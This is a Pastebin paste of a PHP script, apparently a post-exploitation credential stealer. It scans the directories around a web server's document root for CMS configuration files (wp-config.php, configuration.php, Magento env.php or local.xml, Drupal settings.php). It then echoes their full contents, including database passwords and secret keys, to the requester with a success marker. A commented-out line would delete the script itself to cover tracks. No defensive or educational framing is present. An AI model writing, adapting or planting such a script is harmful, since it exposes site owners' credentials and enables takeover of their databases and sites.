Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /****find config files****/
- $rootpath = "";
- if(isset($_SERVER["DOCUMENT_ROOT"]))
- {
- $rootpath = $_SERVER["DOCUMENT_ROOT"];
- } else
- {
- $rootpath = preg_replace('/(htdocs|httpdocs|www)(.*)/','$1',dirname($_SERVER["SCRIPT_FILENAME"]));
- }
- $pathArr =array();
- $startPath="";
- $depth=0;
- $sep = "/";
- if (strstr($rootpath,"/"))
- {
- $pathArr = explode("/",$rootpath);
- } elseif (strstr($rootpath,"\\"))
- {
- $pathArr = explode("\\",$rootpath);
- $sep = "\\";
- }
- $depth = count($pathArr);
- if($depth>=2)
- {
- $startPath = $pathArr[0];
- for($i=1;$i<count($pathArr)-1;$i++)
- {
- $startPath = $startPath.$sep.$pathArr[$i];
- $configs=findconfig($startPath,$depth);
- if(count($configs))
- {
- break;
- }
- $depth--;
- }
- } else
- {
- $startPath = $rootpath;
- $configs=findconfig($startPath,$depth);
- }
- if(count($configs)<=0)
- {
- $configs=findconfig($rootpath,3);
- }
- $addOk = false;
- if(is_array($configs))
- {
- $configs = array_unique($configs);
- foreach($configs as $config)
- {
- try{
- $addedUsrs = NULL;
- $cont = trim(file_get_contents($config));
- if($cont!='')
- {
- try
- {
- if(!$addOk)
- {
- $addOk = true;
- echo "explOK12345" ;
- echo "<br>";
- }
- echo "configpath:".$config."<br>";
- echo $cont;
- echo "|||||+++++|||||";
- }catch(Exception $e)
- { echo $e->getMessage();}
- // echo "<br>";
- }
- }catch(Exception $e)
- {;}
- }
- }
- //unlink($_SERVER["SCRIPT_FILENAME"]);
- //����� ��������
- function findconfig($source,$depth)
- {
- $source = str_replace('\\', '/', realpath($source));
- $result=array();
- try
- {
- if (is_dir($source) === true)
- {
- $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source,RecursiveDirectoryIterator::KEY_AS_PATHNAME), RecursiveIteratorIterator::SELF_FIRST,RecursiveIteratorIterator::CATCH_GET_CHILD);
- $files->setMaxDepth($depth);
- foreach ($files as $file => $fileInfo)
- {
- try{
- $file = str_replace('\\', '/', $file);
- $file2 = $file;
- if( in_array(substr($file, strrpos($file, '/')+1), array('.', '..')) )
- continue;
- $file = realpath($file);
- if ((is_file($file) === true)&&(basename($file)=="configuration.php"||basename($file)=="wp-config.php"))
- {
- $result[]=$file;
- } elseif(is_dir($file)&&strstr($file2,"app/etc"))
- {
- //
- //local.xml
- if(file_exists(realpath($file."/env.php")))
- {
- $result[]= realpath($file."/env.php");
- }
- elseif(file_exists(realpath($file."/local.xml")))
- {
- $result[]= realpath($file."/local.xml");
- }
- }elseif(is_dir($file)&&strstr($file2,"sites/default"))
- {
- //
- //local.xml
- if(file_exists(realpath($file."/settings.php")))
- {
- $result[]= realpath($file."/settings.php");
- }
- }
- }catch(Exception $iterex)
- {
- ;
- }
- }
- }
- elseif ((is_file($source) === true)&&(basename($file)=="configuration.php"||basename($file)=="wp-config.php"))
- {
- $result[]=$file;
- } elseif(is_dir($file)&&stristr($file,"app/etc"))
- {
- if(file_exists(realpath($file."/env.php")))
- {
- $result[]= realpath($file."/env.php");
- }
- elseif(file_exists(realpath($file."/local.xml")))
- {
- $result[]= realpath($file."/local.xml");
- }
- }elseif(is_dir($file)&&strstr($file2,"sites/default"))
- {
- //
- //local.xml
- if(file_exists(realpath($file."/settings.php")))
- {
- $result[]= realpath($file."/settings.php");
- }
- }
- } catch (Exception $e) {
- ;
- }
- return $result;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment